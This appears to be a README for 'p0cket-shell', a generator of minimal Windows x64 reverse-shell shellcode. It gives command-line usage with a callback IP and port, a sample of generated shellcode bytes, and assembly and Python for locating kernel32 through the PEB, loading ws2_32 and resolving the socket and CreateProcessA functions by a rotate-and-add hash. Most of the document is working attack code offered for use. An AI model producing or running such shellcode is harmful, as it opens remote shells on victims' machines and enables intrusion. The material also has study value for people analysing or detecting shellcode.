p0cket-shell is an implementation of an exceptionally compact reverse shell, engineered to achieve remote access with the smallest possible memory. This is minimalism without compromising functionality. This is the most size-efficient reverse shell available. This is peak shellcode optimization.
p0cket-shell.py
____ __ __ __ ____
____ / __ \_____/ /_____ / /_ _____/ /_ ___ / / /
/ __ \/ / / / ___/ //_/ _ \/ __/_____/ ___/ __ \/ _ \/ / /
/ /_/ / /_/ / /__/ ,< / __/ /_/_____(__ ) / / / __/ / /
/ .___/\____/\___/_/|_|\___/\__/ /____/_/ /_/\___/_/_/
/_/
Author: SilentisVox
: https://.com/SilentisVox/p0cket-shell
usage: p0cket-shell.py [-h] --payload {hardcode,resolve} --LHOST LHOST --LPORT LPORT --format
{c,powershell,ps1,python,exe,raw} [--output OUTPUT]
git clone https://.com/SilenitsVox/p0cket-shell
cd p0cket-shell
python p0cket-shell.py
p0cket-shell.py --payload [hardcode | resolve]
--LHOST [callback ip]
--LPORT [callback port]
--format [c | powershell | python | exe | raw]
[--output] example.py
p0cket-shell.py -p hardcode -lh 192.168.1.190 -lp 1337 -f python
[*] Payload size: 264 bytes
[*] Final size of python file: 1309 bytes
buf = b""
buf += b"\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40"
buf += b"\x18\x48\x8b\x40\x30\x48\x8b\x00\x48\x8b\x00\x48"
buf += ...
Standalone reverse shell shellcode must follow a specific process. Fortunately for us, it is very straight forward.
- Get handle to kernel32.dll
- Get handle to ws2_32.dll
- Save functions: WSAStartup, WSASocketA, WSAConnect CreateProcessA
- Call functions: WSAStartup, WSASocketA, WSAConnect CreateProcessA
get_kernel32:
mov rax, gs:[0x60] ; PEB
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x30] ; Ldr->InMemoryOrderModuleList
mov rax, [rax] ; InMemoryOrderModuleList.Flink (ntdll.dll)
mov rax, [rax] ; Flink->Flink (kernel32.dll)
mov rbp, [rax + 0x10] ; Base Address
load_ws2_32:
push 0x006c6c ; '0\ll'
mov rax, 0x642e32335f327377 ; 'd.23_2sw'
push rax ; Push to stack
mov rcx, rsp ; Save pointer 'ws2_32.dll' to rcx
sub rsp, 0x28 ; Align stack
call r14 ; Call LoadLibraryA (Base Address stored in rax)
Now from here we can grab the functions within the 2 libraries and then use them how we want. We have to remember how each function behaves and remember whats needed for each function.
Now this is the main issue with making tiny shellcode. We want the most reliable/stable, while also providing a very small size. If we do not care for these, we can make very small shellcode.
All we would need to do is have a hardcoded offset from the module base address.
get_createprocess:
lea r15, [rbp + 0x44F70] ; Hardcode offset from base address
If we wish to maintain reliablity and stabilty, we must parse through the desired libraries AddressOfNames, and match it to one we have. The best way to accomplish this would be hashes.
We need a custom mini hash algorithm to make hashes of our desired functions, then we would need to find a function name, hash it, then compare to what we have. If it matches, save the address and return.
def hash(function_name: bytes, rotate_amount: int):
calculated_hash = 0
for byte in function_name:
calculated_hash = ((calculated_hash >> rotate_amount) | (calculated_hash << (32 - rotate_amount))) & 0xFFFFFFFF
calculated_hash = (calculated_hash + byte) & 0xFFFFFFFF
return hex(calculated_hash)
xor rax, rax
xor rbx, rbx
cld
hash_loop:
lodsb
test al, al
jz compare_hash
ror ebx, 7 ;)
add ebx, eax
jmp hash_loop
compare_hash:
cmp ebx, rdx ; Or wherever you have the hash
jz hash_found
jnz next_function